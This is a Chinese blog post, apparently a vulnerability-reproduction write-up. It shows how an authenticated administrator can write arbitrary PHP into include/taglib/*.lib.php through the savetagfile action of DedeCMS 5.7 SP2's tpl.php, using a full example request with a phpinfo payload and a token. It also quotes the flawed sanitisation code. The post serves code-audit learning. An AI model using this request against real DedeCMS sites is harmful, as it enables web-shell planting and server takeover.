dedecms 5.7 download.php 代码执行漏洞,dedecms v5.7 sp2代码执行漏洞复现

要有后台管理员账号密码,登录后台。

5dddee524c359.png

访问/dede/tpl.php?action=upload,审查源码,获取我们的token值。

5dddee52e94d4.png

然后访问:

1http://127.0.0.1/dedev5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=abb438be63426baeee2db81a27dfd910

后面加上我们上一步获取的token值。

5dddee5489089.png

然后访问我们的

1http://127.0.0.1/dedev5.7/include/taglib/test.lib.php

5dddee55294b0.png

发现我们的代码写进去了。

访问include/taglib/test.lib.php

5dddee56025dd.png

漏洞复现

想一想我们的思路:

1、获取token值

2、访问指定的链接

就把我们的代码写入到/include/taglib/xxx.lib.php中

token值很容易获取,那么问题就是在那个链接上面:

1http://127.0.0.1/dedev5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=abb438be63426baeee2db81a27dfd910

看一下参数,就知道这是一个文档保存的操作。

问题出现在tpl.php

这个文档代码也没有多少。

5dddee56a1440.png

很快就能定位到问题代码。不过我这里可能是编码的原因有点乱码,但是这问题不大,我们把逻辑结构看懂就行了。

首先会匹配正则, 要以.lib.php结尾。

然后会将 $content 写入到 $filename 中。

那么我们要跟踪一下文档对这两个参数进行的处理。

然后我们回过头来看整个文档的代码。

1

2

3

4

5$filename = preg_replace("#[/\\]#", '', $filename);//line21

$tagname = preg_replace("#.lib.php$#i", "", $filename);//line260

$content = stripslashes($content);//line261

可以看出,只有替换,并没有对参数进行安全防护措施。

思考

又是一个安全防护不到位的一个漏洞,为什么就没挖到呢。

于是用seay源代码审计扫了一下。没有扫出这个漏洞点。

5dddee5750432.png

发现这个点是后台的一个功能点。

5dddee58f030d.png

代码审计还是需要多方面考虑,以前一直在看代码,没有从功能点上去考虑,可以转换一下代码审计的思路,尝试去通过功能点,去思考可能会存在什么漏洞,然后去看源码。

对于后台,通常不管是渗透测试、还是代码审计,目标都是拿shell,那么我们就要多多考虑对文档进行的操作了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值